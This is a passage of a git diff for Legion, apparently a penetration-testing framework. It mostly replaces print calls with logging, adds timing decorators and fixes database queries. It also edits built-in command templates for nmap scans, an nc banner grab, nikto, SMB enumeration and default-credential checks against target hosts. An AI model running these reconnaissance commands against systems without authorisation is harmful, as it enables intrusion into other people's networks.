f.write(word+'\n') @@ -230,7 +256,7 @@ def run(self): self.sleep(1) # fixes bug when several calls to urllib occur too fast (interrupted system call) except: - print('\t[-] Problem while opening url in browser. Moving on..') + log.info('\t[-] Problem while opening url in browser. Moving on..') continue self.processing = False @@ -277,8 +303,8 @@ def run(self): self.save("http://"+url, ip, port, outputfile) except Exception as e: - print('\t[-] Unable to take the screenshot. Moving on..') - print(e) + log.info('\t[-] Unable to take the screenshot. Moving on..') + log.info(e) continue self.processing = False @@ -286,12 +312,12 @@ def run(self): if not len(self.urls) == 0: # if meanwhile urls were added to the queue, start over unless we are in pause mode self.run() - print('\t[+] Finished.') + log.info('\t[+] Finished.') def save(self, url, ip, port, outputfile): - print('[+] Saving screenshot as: '+str(outputfile)) + log.info('[+] Saving screenshot as: '+str(outputfile)) command = 'xvfb-run --server-args="-screen 0:0, 1024x768x24" /usr/bin/cutycapt --url="{url}/" --max-wait=5000 --out="{outputfolder}/{outputfile}"'.format(url=url, outputfolder=self.outputfolder, outputfile=outputfile) - print(command) + log.info(command) p = subprocess.Popen(command, shell=True) p.wait() # wait for command to finish self.done.emit(ip,port,outputfile) # send a signal to add the 'process' to the DB @@ -311,6 +337,7 @@ def __init__(self): self.portfiltered = False self.keywords = [] + @timing def apply(self, up, down, checked, portopen, portfiltered, portclosed, tcp, udp, keywords = []): self.checked = checked self.up = up @@ -322,26 +349,29 @@ def apply(self, up, down, checked, portopen, portfiltered, portclosed, tcp, udp, self.portfiltered = portfiltered self.keywords = keywords + @timing def setKeywords(self, keywords): - print(str(keywords)) + log.info(str(keywords)) self.keywords = keywords + @timing def getFilters(self): return [self.up, self.down, self.checked, self.portopen, self.portfiltered, self.portclosed, self.tcp, self.udp, self.keywords] + @timing def display(self): - print('Filters are:') - print('Show checked hosts: ' + str(self.checked)) - print('Show up hosts: ' + str(self.up)) - print('Show down hosts: ' + str(self.down)) - print('Show tcp: ' + str(self.tcp)) - print('Show udp: ' + str(self.udp)) - print('Show open ports: ' + str(self.portopen)) - print('Show closed ports: ' + str(self.portclosed)) - print('Show filtered ports: ' + str(self.portfiltered)) - print('Keyword search:') + log.info('Filters are:') + log.info('Show checked hosts: ' + str(self.checked)) + log.info('Show up hosts: ' + str(self.up)) + log.info('Show down hosts: ' + str(self.down)) + log.info('Show tcp: ' + str(self.tcp)) + log.info('Show udp: ' + str(self.udp)) + log.info('Show open ports: ' + str(self.portopen)) + log.info('Show closed ports: ' + str(self.portclosed)) + log.info('Show filtered ports: ' + str(self.portfiltered)) + log.info('Keyword search:') for w in self.keywords: - print(w) + log.info(w) ### VALIDATION FUNCTIONS ### diff --git a/app/logic.py b/app/logic.py index 9fb5dedf..90d11ec3 100644 --- a/app/logic.py +++ b/app/logic.py @@ -26,10 +26,10 @@ def __init__(self): def createTemporaryFiles(self): try: - print('[+] Creating temporary files..') + log.info('[+] Creating temporary files..') self.istemp = True # indicates that file is temporary and can be deleted if user exits without saving - print(self.cwd) + log.info(self.cwd) tf = tempfile.NamedTemporaryFile(suffix=".ldb",prefix="legion-", delete=False, dir="./tmp/") # to store the database file self.outputfolder = tempfile.mkdtemp(suffix="-tool-output",prefix="legion-", dir="./tmp/") # to store tool output of finished processes self.runningfolder = tempfile.mkdtemp(suffix="-running",prefix="legion-", dir="./tmp/") # to store tool output of running processes @@ -39,19 +39,19 @@ def createTemporaryFiles(self): self.usernamesWordlist = Wordlist(self.outputfolder + '/legion-usernames.txt') # to store found usernames self.passwordsWordlist = Wordlist(self.outputfolder + '/legion-passwords.txt') # to store found passwords self.projectname = tf.name - print(tf.name) + log.info(tf.name) self.db = Database(self.projectname) except: - print('\t[-] Something went wrong creating the temporary files..') - print("[-] Unexpected error:", sys.exc_info()) + log.info('\t[-] Something went wrong creating the temporary files..') + log.info("[-] Unexpected error:", sys.exc_info()) def removeTemporaryFiles(self): - print('[+] Removing temporary files and folders..') + log.info('[+] Removing temporary files and folders..') try: if not self.istemp: # if current project is not temporary if not self.storeWordlists: # delete wordlists if necessary - print('[+] Removing wordlist files.') + log.info('[+] Removing wordlist files.') os.remove(self.usernamesWordlist.filename) os.remove(self.passwordsWordlist.filename) @@ -62,8 +62,8 @@ def removeTemporaryFiles(self): shutil.rmtree(self.runningfolder) except: - print('\t[-] Something went wrong removing temporary files and folders..') - print("[-] Unexpected error:", sys.exc_info()[0]) + log.info('\t[-] Something went wrong removing temporary files and folders..') + log.info("[-] Unexpected error:", sys.exc_info()[0]) def createFolderForTool(self, tool): if 'nmap' in tool: @@ -104,8 +104,8 @@ def moveToolOutput(self, outputFilename): elif os.path.exists(str(outputFilename)+'.txt') and os.path.isfile(str(outputFilename)+'.txt'): shutil.move(str(outputFilename)+'.txt', str(path)) except: - print('[-] Something went wrong moving the tool output file..') - print("[-] Unexpected error:", sys.exc_info()[0]) + log.info('[-] Something went wrong moving the tool output file..') + log.info("[-] Unexpected error:", sys.exc_info()[0]) def copyNmapXMLToOutputFolder(self, file): try: @@ -116,12 +116,12 @@ def copyNmapXMLToOutputFolder(self, file): shutil.copy(str(file), str(path)) # will overwrite if file already exists except: - print('[-] Something went wrong copying the imported XML to the project folder.') - print("[-] Unexpected error:", sys.exc_info()[0]) + log.info('[-] Something went wrong copying the imported XML to the project folder.') + log.info("[-] Unexpected error:", sys.exc_info()[0]) def openExistingProject(self, filename): try: - print('[+] Opening project..') + log.info('[+] Opening project..') self.istemp = False # indicate the file is NOT temporary and should NOT be deleted later self.projectname = str(filename) # set the new projectname and outputfolder vars @@ -138,8 +138,8 @@ def openExistingProject(self, filename): self.cwd = ntpath.dirname(str(self.projectname))+'/' # update cwd so it appears nicely in the window title except: - print('\t[-] Something went wrong while opening the project..') - print("[-] Unexpected error:", sys.exc_info()[0]) + log.info('\t[-] Something went wrong while opening the project..') + log.info("[-] Unexpected error:", sys.exc_info()[0]) # this function copies the current project files and folder to a new location # if the replace flag is set to 1, it overwrites the destination file and folder @@ -160,7 +160,7 @@ def saveProjectAs(self, filename, replace=0): os.system('cp -r "'+self.outputfolder+'/." "'+str(foldername)+'"') if self.istemp: # we can remove the temp file/folder if it was temporary - print('[+] Removing temporary files and folders..') + log.info('[+] Removing temporary files and folders..') os.remove(self.projectname) shutil.rmtree(self.outputfolder) @@ -176,8 +176,8 @@ def saveProjectAs(self, filename, replace=0): return True except: - print('\t[-] Something went wrong while saving the project..') - print("\t[-] Unexpected error:", sys.exc_info()[0]) + log.info('\t[-] Something went wrong while saving the project..') + log.info("\t[-] Unexpected error:", sys.exc_info()[0]) return False def isHostInDB(self, host): # used we don't run tools on hosts out of scope @@ -290,7 +290,8 @@ def getServiceNameForHostAndPort(self, hostIP, port): # used to delete all port/script data related to a host - to overwrite portscan info with the latest scan def deleteAllPortsAndScriptsForHostFromDB(self, hostID, protocol): session = self.db.session() - ports_for_host = session.query(nmap_port).filter_by(nmap_port.host_id == hostID, nmap_port.protocol == str(protocol)).all() + # TACOS + ports_for_host = session.query(nmap_port).filter_by(nmap_port.host_id == hostID).filter_by(nmap_port.protocol == str(protocol)).all() #ports_for_host = nmap_port.query.filter(nmap_port.host_id == hostID, nmap_port.protocol == str(protocol)).all() for p in ports_for_host: @@ -401,10 +402,10 @@ def toggleHostCheckStatus(self, ipaddr): # this function adds a new process to the DB def addProcessToDB(self, proc): - print('Add process') + log.info('Add process') p_output = process_output() # add row to process_output table (separate table for performance reasons) p = process(str(proc.pid()), str(proc.name), str(proc.tabtitle), str(proc.hostip), str(proc.port), str(proc.protocol), unicode(proc.command), proc.starttime, "", str(proc.outputfile), 'Waiting', p_output) - print(p) + log.info(p) session = self.db.session() session.add(p) #session.commit() @@ -523,7 +524,7 @@ def storeProcessOutputInDB(self, procId, output): def storeNotesInDB(self, hostId, notes): if len(notes) == 0: notes = unicode("Notes for {hostId}".format(hostId=hostId)) - #print("Storing notes for {hostId}, Notes {notes}".format(hostId=hostId, notes=notes)) + #log.info("Storing notes for {hostId}, Notes {notes}".format(hostId=hostId, notes=notes)) t_note = self.getNoteFromDB(hostId) if t_note: t_note.text = unicode(notes) @@ -569,14 +570,14 @@ def setOutput(self, output): def run(self): # it is necessary to get the qprocess because we need to send it back to the scheduler when we're done importing try: session = self.db.session() - print("[+] Parsing nmap xml file: " + self.filename) - starttime = time.time() + log.info("[+] Parsing nmap xml file: " + self.filename) + starttime = time() try: parser = Parser(self.filename) except: - print('\t[-] Giving up on import due to previous errors.') - print("\t[-] Unexpected error:", sys.exc_info()[0]) + log.info('\t[-] Giving up on import due to previous errors.') + log.info("\t[-] Unexpected error:", sys.exc_info()[0]) self.done.emit() return @@ -594,32 +595,31 @@ def run(self): # it is nece for h in parser.all_hosts(): # create all the hosts that need to be created db_host = session.query(nmap_host).filter_by(ip=h.ip).first() - #db_host = nmap_host.query.filter_by(ip=h.ip).first() if not db_host: # if host doesn't exist in DB, create it first hid = nmap_host('', '', h.ip, h.ipv4, h.ipv6, h.macaddr, h.status, h.hostname, h.vendor, h.uptime, h.lastboot, h.distance, h.state, h.count) - print("Adding db_host") + log.info("Adding db_host") session.add(hid) t_note = note(h.ip, 'Added by nmap') session.add(t_note) else: - print("Found db_host already in db") + log.info("Found db_host already in db") session.commit() for h in parser.all_hosts(): # create all OS, service and port objects that need to be created - print("Processing h {ip}".format(ip=h.ip)) + log.info("Processing h {ip}".format(ip=h.ip)) db_host = session.query(nmap_host).filter_by(ip=h.ip).first() if db_host: - print("Found db_host during os/ports/service processing") + log.info("Found db_host during os/ports/service processing") else: - print("Did not find db_host during os/ports/service processing") + log.info("Did not find db_host during os/ports/service processing") os_nodes = h.get_OS() # parse and store all the OS nodes - print(" 'os_nodes' to process: {os_nodes}".format(os_nodes=str(len(os_nodes)))) + log.info(" 'os_nodes' to process: {os_nodes}".format(os_nodes=str(len(os_nodes)))) for os in os_nodes: - print(" Processing os obj {os}".format(os=str(os.name))) + log.info(" Processing os obj {os}".format(os=str(os.name))) db_os = session.query(nmap_os).filter_by(host_id=db_host.id).filter_by(name=os.name).filter_by(family=os.family).filter_by(generation=os.generation).filter_by(os_type=os.os_type).filter_by(vendor=os.vendor).first() if not db_os: @@ -627,13 +627,13 @@ def run(self): # it is nece session.add(t_nmap_os) all_ports = h.all_ports() - print(" 'ports' to process: {all_ports}".format(all_ports=str(len(all_ports)))) + log.info(" 'ports' to process: {all_ports}".format(all_ports=str(len(all_ports)))) for p in all_ports: # parse the ports - print(" Processing port obj {port}".format(port=str(p.portId))) + log.info(" Processing port obj {port}".format(port=str(p.portId))) s = p.get_service() if not (s is None): # check if service already exists to avoid adding duplicates - print(" Found service {service} for port {port}".format(service=str(s.name),port=str(p.portId))) + log.info(" Found service {service} for port {port}".format(service=str(s.name),port=str(p.portId))) db_service = session.query(nmap_service).filter_by(name=s.name).filter_by(product=s.product).filter_by(version=s.version).filter_by(extrainfo=s.extrainfo).filter_by(fingerprint=s.fingerprint).first() if not db_service: @@ -660,18 +660,19 @@ def run(self): # it is nece for p in h.all_ports(): for scr in p.get_scripts(): - + log.info(" Processing script obj {scr}".format(scr=str(scr))) db_port = session.query(nmap_port).filter_by(host_id=db_host.id).filter_by(port_id=p.portId).filter_by(protocol=p.protocol).first() db_script = session.query(nmap_script).filter_by(script_id=scr.scriptId).filter_by(port_id=db_port.id).first() if not db_script: # if this script object doesn't exist, create it - t_nmap_script = nmap_script(scr.scriptId, scr.output, db_port, db_host) + t_nmap_script = nmap_script(scr.scriptId, scr.output, db_port.id, db_host.id) + log.info(" Adding nmap_script obj {script}".format(script=scr.scriptId)) session.add(t_nmap_script) for hs in h.get_hostscripts(): - db_script = session.query(nmap_script).query.filter_by(script_id=hs.scriptId).filter_by(host_id=db_host.id).first() + db_script = session.query(nmap_script).filter_by(script_id=hs.scriptId).filter_by(host_id=db_host.id).first() if not db_script: - t_nmap_script = nmap_script(hs.scriptId, hs.output, None, db_host) + t_nmap_script = nmap_script(hs.scriptId, hs.output, None, db_host.id) session.add(t_nmap_script) session.commit() @@ -744,8 +745,7 @@ def run(self): # it is nece session.add(db_port) for scr in p.get_scripts(): # store the script results (note that existing script outputs are also kept) - #db_script = nmap_script.query.filter_by(script_id=scr.scriptId).filter_by(port_id=db_port.id).first() - db_script = session.query(nmap_script).query.filter_by(script_id=scr.scriptId).filter_by(port_id=db_port.id).first() + db_script = session.query(nmap_script).filter_by(script_id=scr.scriptId).filter_by(port_id=db_port.id).first() if not scr.output == '': db_script.output = scr.output @@ -757,13 +757,13 @@ def run(self): # it is nece session.commit() self.db.dbsemaphore.release() # we are done with the DB - print('\t[+] Finished in '+ str(time.time()-starttime) + ' seconds.') + log.info('\t[+] Finished in '+ str(time()-starttime) + ' seconds.') self.done.emit() self.schedule.emit(parser, self.output == '') # call the scheduler (if there is no terminal output it means we imported nmap) except Exception as e: - print('\t[-] Something went wrong when parsing the nmap file..') - print("\t[-] Unexpected error:", sys.exc_info()[0]) - print(e) + log.info('\t[-] Something went wrong when parsing the nmap file..') + log.info("\t[-] Unexpected error:", sys.exc_info()[0]) + log.info(e) raise self.done.emit() diff --git a/app/settings.py b/app/settings.py index e9b5fdd0..589f5394 100644 --- a/app/settings.py +++ b/app/settings.py @@ -20,10 +20,10 @@ class AppSettings(): def __init__(self): # check if settings file exists and creates it if it doesn't if not os.path.exists('./legion.conf'): - print('[+] Creating settings file..') + log.info('[+] Creating settings file..') self.createDefaultSettings() else: - print('[+] Loading settings file..') + log.info('[+] Loading settings file..') self.actions = QtCore.QSettings('./legion.conf', QtCore.QSettings.NativeFormat) # This function creates the default settings file. Note that, in general, everything is case sensitive. @@ -75,7 +75,7 @@ def createDefaultSettings(self): self.actions.endGroup() self.actions.beginGroup('HostActions') - self.actions.setValue("nmap-fast-tcp", ["Run nmap (fast TCP)", "nmap -Pn -F -T4 -vvvv [IP] -oA \"[OUTPUT]\""]) + self.actions.setValue("nmap-fast-tcp", ["Run nmap (fast TCP)", "nmap -Pn -sV -sC -F -T4 -vvvv [IP] -oA \"[OUTPUT]\""]) self.actions.setValue("nmap-full-tcp", ["Run nmap (full TCP)", "nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\""]) self.actions.setValue("nmap-fast-udp", ["Run nmap (fast UDP)", "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\""]) self.actions.setValue("nmap-udp-1000", ["Run nmap (top 1000 quick UDP)", "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\""]) @@ -84,12 +84,12 @@ def createDefaultSettings(self): self.actions.endGroup() self.actions.beginGroup('PortActions') - self.actions.setValue("banner", ["Grab banner", "bash -c \"echo \"\" | nc -v -n -w1 [IP] [PORT]\"", ""]) + self.actions.setValue("banner", ["Grab banner", "bash -c \"echo \"\" | nc -v -n -w1 [IP] [PORT]\"", "telnet,ssh"]) self.actions.setValue("nmap", ["Run nmap (scripts) on port", "nmap -Pn -sV -sC -vvvvv -p[PORT] [IP] -oA [OUTPUT]", ""]) + self.actions.setValue("whatweb", ["Run whatweb", "whatweb [IP]:[PORT] --color=never --log-brief=\"[OUTPUT].txt\"", "http,https,ssl,soap,http-proxy,http-alt"]) self.actions.setValue("nikto", ["Run nikto", "nikto -o \"[OUTPUT].txt\" -p [PORT] -h [IP]", "http,https,ssl,soap,http-proxy,http-alt"]) self.actions.setValue("dirbuster", ["Launch dirbuster", "java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/", "http,https,ssl,soap,http-proxy,http-alt"]) self.actions.setValue("webslayer", ["Launch webslayer", "webslayer", "http,https,ssl,soap,http-proxy,http-alt"]) - self.actions.setValue("whatweb", ["Run whatweb", "whatweb [IP]:[PORT] --color=never --log-brief=\"[OUTPUT].txt\"", "http,https,ssl,soap,http-proxy,http-alt"]) ### SMB self.actions.setValue("samrdump", ["Run samrdump", "python /usr/share/doc/python-impacket/examples/samrdump.py [IP] [PORT]/SMB", "netbios-ssn,microsoft-ds"]) @@ -155,21 +155,24 @@ def createDefaultSettings(self): self.actions.endGroup() self.actions.beginGroup('SchedulerSettings') - self.actions.setValue("nikto",["http,https,ssl,soap,http-proxy,http-alt,https-alt","tcp"]) + #self.actions.setValue("whatweb", ["http,https,ssl,soap,http-proxy,http-alt,https-alt","tcp"]) + #self.actions.setValue("banner", ["telnet,ssh,http,https,dns","tcp"]) + self.actions.setValue("nikto", ["http,https,ssl,soap,http-proxy,http-alt,https-alt","tcp"]) + self.actions.setValue("sslscan", ["https,ssl","tcp"]) self.actions.setValue("screenshooter",["http,https,ssl,http-proxy,http-alt,https-alt","tcp"]) - self.actions.setValue("smbenum",["microsoft-ds","tcp"]) -# self.actions.setValue("enum4linux","netbios-ssn,microsoft-ds") -# self.actions.setValue("smb-null-sessions","netbios-ssn,microsoft-ds") -# self.actions.setValue("nbtscan","netbios-ns") - self.actions.setValue("snmpcheck",["snmp","udp"]) - self.actions.setValue("x11screen",["X11","tcp"]) - self.actions.setValue("snmp-default",["snmp","udp"]) - self.actions.setValue("smtp-enum-vrfy",["smtp","tcp"]) - self.actions.setValue("mysql-default",["mysql","tcp"]) - self.actions.setValue("mssql-default",["ms-sql-s","tcp"]) - self.actions.setValue("ftp-default",["ftp","tcp"]) - self.actions.setValue("postgres-default",["postgresql","tcp"]) - self.actions.setValue("oracle-default",["oracle-tns","tcp"]) + self.actions.setValue("smbenum", ["microsoft-ds","tcp"]) + self.actions.setValue("enum4linux", "netbios-ssn,microsoft-ds") + self.actions.setValue("smb-null-sessions", "netbios-ssn,microsoft-ds") + self.actions.setValue("nbtscan", "netbios-ns") + self.actions.setValue("snmpcheck", ["snmp","udp"]) + self.actions.setValue("x11screen", ["X11","tcp"]) + self.actions.setValue("snmp-default", ["snmp","udp"]) + self.actions.setValue("smtp-enum-vrfy", ["smtp","tcp"]) + self.actions.setValue("mysql-default", ["mysql","tcp"]) + self.actions.setValue("mssql-default", ["ms-sql-s","tcp"]) + self.actions.setValue("ftp-default", ["ftp","tcp"]) + self.actions.setValue("postgres-default", ["postgresql","tcp"]) + self.actions.setValue("oracle-default", ["oracle-tns","tcp"]) self.actions.endGroup() @@ -272,7 +275,7 @@ def getSchedulerSettings_old(self): def backupAndSave(self, newSettings): # Backup and save - print('[+] Backing up old settings and saving new settings..') + log.info('[+] Backing up old settings and saving new settings..') os.rename('./legion.conf', './'+getTimestamp()+'-legion.conf') self.actions = QtCore.QSettings('./legion.conf', QtCore.QSettings.NativeFormat) @@ -414,8 +417,8 @@ def __init__(self, appSettings=None): self.tools_path_texteditor = self.toolSettings['texteditor-path'] except KeyError: - print('\t[-] Something went wrong while loading the configuration file. Falling back to default settings for some settings.') - print('\t[-] Go to the settings menu to fix the issues!') + log.info('\t[-] Something went wrong while loading the configuration file. Falling back to default settings for some settings.') + log.info('\t[-] Go to the settings menu to fix the issues!') # TODO: send signal to automatically open settings dialog here def __eq__(self, other): # returns false if settings objects are different @@ -427,6 +430,6 @@ def __eq__(self, other): # returns fa settings = AppSettings() s = Settings(settings) s2 = Settings(settings) - print(s == s2) + log.info(s == s2) s2.general_default_terminal = 'whatever' - print(s == s2) + log.info(s == s2) diff --git a/controller/controller.py b/controller/controller.py index 47eb4249..2b5208aa 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -24,6 +24,7 @@ class Controller(): # initialisations that will happen once - when the program is launched + @timing def __init__(self, view, logic): self.version = 'LEGION 0.2.1' # update this everytime you commit! self.logic = logic @@ -80,18 +81,19 @@ def loadSettings(self): self.view.settingsWidget.setSettings(Settings(self.settingsFile)) def applySettings(self, newSettings): # call this function when clicking 'apply' in the settings menu (after validation) - print('[+] Applying settings!') + log.info('[+] Applying settings!') self.settings = newSettings def cancelSettings(self): # called when the user presses cancel in the Settings dialog self.view.settingsWidget.setSettings(self.settings) # resets the dialog's settings to the current application settings to forget any changes made by the user + @timing def saveSettings(self): if not self.settings == self.originalSettings: - print('[+] Settings have been changed.') + log.info('[+] Settings have been changed.') self.settingsFile.backupAndSave(self.settings) else: - print('[+] Settings have NOT been changed.') + log.info('[+] Settings have NOT been changed.') def getSettings(self): return self.settings @@ -178,9 +180,10 @@ def closeProject(self): self.view.updateProcessesTableView() # clear process table self.logic.removeTemporaryFiles() + @timing def addHosts(self, iprange, runHostDiscovery, runStagedNmap): if iprange == '': - print('[-] No hosts entered..') + log.info('[-] No hosts entered..') return if runStagedNmap: @@ -189,7 +192,7 @@ def addHosts(self, iprange, runHostDiscovery, runStagedNmap): elif runHostDiscovery: outputfile = self.logic.runningfolder+"/nmap/"+getTimestamp()+'-host-discover' command = "nmap -n -sn -T4 "+iprange+" -oA "+outputfile - print("Running {command}".format(command=command)) + log.info("Running {command}".format(command=command)) self.runCommand('nmap', 'nmap (discovery)', iprange, '','', command, getTimestamp(True), outputfile, self.view.createNewTabForHost(str(iprange), 'nmap (discovery)', True)) else: @@ -199,6 +202,7 @@ def addHosts(self, iprange, runHostDiscovery, runStagedNmap): #################### CONTEXT MENUS #################### + @timing def getContextMenuForHost(self, isChecked, showAll=True): # showAll exists because in some cases we only want to show host tools excluding portscans and 'mark as checked' menu = QMenu() @@ -224,6 +228,7 @@ def getContextMenuForHost(self, isChecked, showAll=True): # showAll ex return menu, actions + @timing def handleHostAction(self, ip, hostid, actions, action): if action.text() == 'Mark as checked' or action.text() == 'Mark as unchecked': @@ -232,7 +237,7 @@ def handleHostAction(self, ip, hostid, actions, action): return if action.text() == 'Run nmap (staged)': - print('[+] Purging previous portscan data for ' + str(ip)) # if we are running nmap we need to purge previous portscan results + log.info('[+] Purging previous portscan data for ' + str(ip)) # if we are running nmap we need to purge previous portscan results if self.logic.getPortsForHostFromDB(ip, 'tcp'): self.logic.deleteAllPortsAndScriptsForHostFromDB(hostid, 'tcp') if self.logic.getPortsForHostFromDB(ip, 'udp'): @@ -263,7 +268,8 @@ def handleHostAction(self, ip, hostid, actions, action): tabtitle = self.settings.hostActions[i][1] self.runCommand(name, tabtitle, ip, '','', command, getTimestamp(True), outputfile, self.view.createNewTabForHost(ip, tabtitle, invisibleTab)) break - + + @timing def getContextMenuForServiceName(self, serviceName='*', menu=None): if menu == None: # if no menu was given, create a new one menu = QMenu() @@ -285,6 +291,7 @@ def getContextMenuForServiceName(self, serviceName='*', menu=None): return menu, actions, shiftPressed + @timing def handleServiceNameAction(self, targets, actions, action, restoring=True): if action.text() == 'Take screenshot': @@ -321,6 +328,7 @@ def handleServiceNameAction(self, targets, actions, action, restoring=True): self.runCommand(tool, tabtitle, ip[0], ip[1], ip[2], command, getTimestamp(True), outputfile, self.view.createNewTabForHost(ip[0], tabtitle, restoring)) break + @timing def getContextMenuForPort(self, serviceName='*'): menu = QMenu() @@ -340,11 +348,13 @@ def getContextMenuForPort(self, serviceName='*'): # dummy is there because we don't need the third return value menu, actions, dummy = self.getContextMenuForServiceName(serviceName, menu) -# menu.addSeparator() -# menu.addAction("Run custom command") + ## TACOS + menu.addSeparator() + menu.addAction("Run custom command") return menu, actions, terminalActions + @timing def handlePortAction(self, targets, actions, terminalActions, action, restoring): if action.text() == 'Send to Brute': @@ -353,7 +363,7 @@ def handlePortAction(self, targets, actions, terminalActions, action, restoring) return if action.text() == 'Run custom command': - print('custom command') + log.info('custom command') return terminal = self.settings.general_default_terminal # handle terminal actions @@ -363,7 +373,6 @@ def handlePortAction(self, targets, actions, terminalActions, action, restoring) for ip in targets: command = str(self.settings.portTerminalActions[srvc_num][2]) command = command.replace('[IP]', ip[0]).replace('[PORT]', ip[1]) - ## Future ## timeout = int(self.settings.portTerminalActions[srvc_num][3]) subprocess.Popen(terminal+" -e 'bash -c \""+command+"; exec bash\"'", shell=True) return @@ -387,7 +396,7 @@ def handleProcessAction(self, selectedProcesses, action): # selectedPr self.killProcess(self.view.ProcessesTableModel.getProcessPidForId(p[2]), p[2]) self.logic.storeProcessCancelStatusInDB(str(p[2])) else: - print("\t[-] This process has already been terminated. Skipping.") + log.info("\t[-] This process has already been terminated. Skipping.") else: self.killProcess(p[0], p[2]) self.view.updateProcessesTableView() @@ -479,23 +488,23 @@ def checkProcessQueue(self): # print '> queue is empty' def cancelProcess(self, dbId): - print('[+] Canceling process: ' + str(dbId)) + log.info('[+] Canceling process: ' + str(dbId)) self.logic.storeProcessCancelStatusInDB(str(dbId)) # mark it as cancelled self.updateUITimer.stop() self.updateUITimer.start(1500) # update the interface soon def killProcess(self, pid, dbId): - print('[+] Killing process: ' + str(pid)) + log.info('[+] Killing process: ' + str(pid)) self.logic.storeProcessKillStatusInDB(str(dbId)) # mark it as killed try: os.kill(int(pid), signal.SIGTERM) except OSError: - print('\t[-] This process has already been terminated.') + log.info('\t[-] This process has already been terminated.') except: - print("\t[-] Unexpected error:", sys.exc_info()[0]) + log.info("\t[-] Unexpected error:", sys.exc_info()[0]) def killRunningProcesses(self): - print('[+] Killing running processes!') + log.info('[+] Killing running processes!') for p in self.processes: p.finished.disconnect() # experimental self.killProcess(int(p.pid()), p.id) @@ -508,7 +517,7 @@ def runCommand(self, name, tabtitle, hostip, port, protocol, command, starttime, textbox.setProperty('dbId', str(self.logic.addProcessToDB(qProcess))) - print('[+] Queuing: ' + str(command)) + log.info('[+] Queuing: ' + str(command)) self.fastProcessQueue.put(qProcess) self.checkProcessQueue() @@ -543,7 +552,7 @@ def runPython(self): textbox.setProperty('dbId', str(self.logic.addProcessToDB(qProcess))) - print('[+] Queuing: ' + str(command)) + log.info('[+] Queuing: ' + str(command)) self.fastProcessQueue.put(qProcess) self.checkProcessQueue() @@ -578,11 +587,10 @@ def runStagedNmap(self, iprange, discovery=True, stage=1, stop=False): ports = self.settings.tools_nmap_stage4_ports else: # last 35535 ports ports = self.settings.tools_nmap_stage5_ports - command = "nmap " if not discovery: # is it with/without host discovery? command += "-Pn " - command += "-T4 -sV " # without scripts (faster) + command += "-T4 -sC " if not stage == 1: command += "-n " # only do DNS resolution on first stage if os.geteuid() == 0: # if we are root we can run SYN + UDP scans @@ -612,9 +620,9 @@ def screenshotFinished(self, ip, port, filename): def processCrashed(self, proc): #self.processFinished(proc, True) self.logic.storeProcessCrashStatusInDB(str(proc.id)) - print('\t[+] Process {qProcessId} Crashed!'.format(qProcessId=str(proc.id))) + log.info('\t[+] Process {qProcessId} Crashed!'.format(qProcessId=str(proc.id))) qProcessOutput = "\n\t" + str(proc.display.toPlainText()).replace('\n','').replace("b'","") - print('\t[+] Process {qProcessId} Output: {qProcessOutput}'.format(qProcessId=str(proc.id), qProcessOutput=qProcessOutput)) + log.info('\t[+] Process {qProcessId} Output: {qProcessOutput}'.format(qProcessId=str(proc.id), qProcessOutput=qProcessOutput)) # this function handles everything after a process ends #def processFinished(self, qProcess, crashed=False): @@ -635,10 +643,10 @@ def processFinished(self, qProcess): if self.view.menuVisible == False: self.view.importProgressWidget.show() if qProcess.exitCode() != 0: - print("\t[+] Process {qProcessId} exited with code {qProcessExitCode}".format(qProcessId=qProcess.id, qProcessExitCode=qProcess.exitCode())) + log.info("\t[+] Process {qProcessId} exited with code {qProcessExitCode}".format(qProcessId=qProcess.id, qProcessExitCode=qProcess.exitCode())) self.processCrashed(qProcess) - print("\t[+] Process {qProcessId} is done!".format(qProcessId=qProcess.id)) + log.info("\t[+] Process {qProcessId} is done!".format(qProcessId=qProcess.id)) self.logic.storeProcessOutputInDB(str(qProcess.id), qProcess.display.toPlainText()) @@ -654,9 +662,9 @@ def processFinished(self, qProcess): self.updateUITimer.start(1500) # update the interface soon except Exception as e: - print("Process Finished Cleanup Exception {e}".format(e=e)) + log.info("Process Finished Cleanup Exception {e}".format(e=e)) except Exception as e: # fixes bug when receiving finished signal when project is no longer open. - print("Process Finished Exception {e}".format(e=e)) + log.info("Process Finished Exception {e}".format(e=e)) raise def handleHydraFindings(self, bWidget, userlist, passlist): # when hydra finds valid credentials we need to save them and change the brute tab title to red @@ -671,7 +679,7 @@ def scheduler(self, parser, isNmapImport): if isNmapImport and self.settings.general_enable_scheduler_on_import == 'False': return if self.settings.general_enable_scheduler == 'True': - print('[+] Scheduler started!') + log.info('[+] Scheduler started!') for h in parser.all_hosts(): for p in h.all_ports(): @@ -680,11 +688,11 @@ def scheduler(self, parser, isNmapImport): if not (s is None): self.runToolsFor(s.name, h.ip, p.portId, p.protocol) - print('-----------------------------------------------') - print('[+] Scheduler ended!') + log.info('-----------------------------------------------') + log.info('[+] Scheduler ended!') def runToolsFor(self, service, ip, port, protocol='tcp'): - print('\t[+] Running tools for: ' + service + ' on ' + ip + ':' + port) + log.info('\t[+] Running tools for: ' + service + ' on ' + ip + ':' + port) if service.endswith("?"): # when nmap is not sure it will append a ?, so we need to remove it service=service[:-1] @@ -704,6 +712,7 @@ def runToolsFor(self, service, ip, port, protocol='tcp'): outputfile = self.logic.runningfolder+"/"+re.sub("[^0-9a-zA-Z]", "", str(tool[0]))+"/"+getTimestamp()+'-'+a[1]+"-"+ip+"-"+port command = str(a[2]) command = command.replace('[IP]', ip).replace('[PORT]', port).replace('[OUTPUT]', outputfile) + log.debug("Running tool command " + str(command)) if 'nmap' in tabtitle: # we don't want to show nmap tabs restoring = True diff --git a/db/database.py b/db/database.py index 313ac4d7..457351ea 100644 --- a/db/database.py +++ b/db/database.py @@ -226,8 +226,8 @@ def __init__(self, dbfilename): self.metadata.echo = True self.metadata.bind = self.engine except Exception as e: - print('[-] Could not create database. Please try again.') - print(e) + log.info('[-] Could not create database. Please try again.') + log.info(e) def openDB(self, dbfilename): try: @@ -241,7 +241,7 @@ def openDB(self, dbfilename): self.metadata.echo = True self.metadata.bind = self.engine except: - print('[-] Could not open database file. Is the file corrupted?') + log.info('[-] Could not open database file. Is the file corrupted?') def commit(self): self.dbsemaphore.acquire() diff --git a/legion.conf 